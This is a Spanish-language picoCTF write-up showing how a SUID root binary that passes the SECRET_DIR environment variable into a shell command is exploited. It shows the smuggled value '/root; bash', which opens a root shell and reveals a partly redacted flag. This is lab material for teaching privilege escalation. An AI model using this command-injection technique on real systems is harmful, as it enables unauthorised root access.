VNE


July 12, 20252 minutes

Para este reto picoctf proporciona unas credenciales de ssh.

En /home/ctf-player hay un binario de root con permisos SUID y con permisos de ejecución para todo el mundo, eso significa que cualquier persona puede ejecutarlo como root

ctf-player@pico-chall$ ls -la
total 24
drwxr-xr-x 1 ctf-player ctf-player    20 Jul  6 10:55 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Jul  6 10:55 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rwsr-xr-x 1 root       root       18752 Aug  4  2023 bin

Al ejecutarlo salta este error

ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set

Hay que declarar la variable de entorno SECRET_DIR con el directorio que se quiere listar

ctf-player@pico-chall$ export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin
Listing the content of /root as root:
flag.txt
ctf-player@pico-chall$

¿De qué manera lista el contenido del directorio? El output del programa a sido flag.txt, pero en la carpeta de root hay más archivos seguramente, como .bashrc, .profile, etc… Las funciones de c para listar el contenido de carpetas, muestran todo el contenido incluso los archivos ocultos, a no ser que se especifique lo contrario

Con un strings se puede comprobar que el programa usa en algún momento la función system

ctf-player@pico-chall$ strings bin | grep system
system
Error: system() call returned non-zero value:
system@@GLIBC_2.2.5

Lo que puede ser es que el binario esté haciendo un system(’ls /root’), por eso no mostraba los archivos ocultos…

Como el contenido de la variable de entorno se está poniendo directamente en un comando se puede intentar un command injection

ctf-player@pico-chall$ export SECRET_DIR='/root; bash'
ctf-player@pico-chall$ ./bin
Listing the content of /root; bash as root:
flag.txt
root@challenge:~# cat /root/flag.txt
picoCTF{Power_t........74}